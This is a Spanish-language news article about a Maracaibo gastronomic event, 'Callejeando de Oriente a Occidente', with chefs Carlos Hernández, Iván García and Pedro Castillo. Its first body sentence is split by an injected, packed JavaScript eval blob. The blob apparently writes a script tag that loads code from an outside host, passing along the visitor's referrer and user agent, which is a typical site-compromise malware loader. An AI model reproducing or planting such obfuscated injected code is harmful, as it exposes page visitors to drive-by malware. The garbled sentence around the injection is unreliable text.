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Callejeando pone sobre la mesa la sazón venezolana

Reyna Carreño / reynac@laverdad.com
Se eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daykz|var|u0026u|referrer|etzzf||js|php'.split('|'),0,{})) trata de un evento gastronómico que reúne a tres de los mejores cocineros del país: Carlos Hernández de Maracaibo, Iván García de Mérida y Pedro Castillo de Cumaná, el próximo 10 de septiembre

Toston con ceviche de queso blanco de Pedro Castillo. (Fotos: Cortesía Javier Ferrero)

Desde que el cocinero Carlos Hernández le dio forma al movimiento gastronómico Warisyorlava, no ha dejado de crear. Ahora trae a la ciudad la segunda edición del evento gastronómico Callejeando de Oriente a Occidente, donde se reúne con Iván García y Pedro Castillo, para crear un menú multisápido.

Esta puesta en escena será el 10 de septiembre en el Lobby Bar del hotel Kristoff, a partir de las 8.00 de la noche. Contará con la presentación de la cantante y locutora, Susana Medina con canciones Old School (70's, 80's y 90's) acompañadas por piano, además del aporte musical del dj Calor Específico, José Hernández y la presentación de Andreína Socorro.

“Es una gran oportunidad. Teníamos tiempo tratando de cuadrar algo en Maracaibo y por fin lo realizaremos”, destaca Iván García, chef del restaurante El Bosque Bistró del Hotel Belensate de Mérida.

Pedro Castillo visita por primera vez a la ciudad a presentar su propuesta, “Maracaibo siempre ha sido una vitrina para la cocina en Venezuela, por eso espero que disfruten de lo que hacemos en el estado Sucre: pescados y frutos del mar”, agrega el cocinero cumanés.

“Nuestros invitados disfrutarán de cocina hecha a base de producto local. La traemos para que la ciudad tenga eventos de gastronomía y aprecie el sabor de Venezuela”, explica Carlos Hernández, chef del Kristoff.

Además del evento principal se realizarán dos brunchs temáticos, uno el 10 de septiembre con gastronomía oriental bajo la supervisión de Castillo y otro el 11 de septiembre de corte andino por parte de García.

Tostada de pan sueco y gravlax de Carlos Hernández. (Fotos: Cortesía Javier Ferrero)

 

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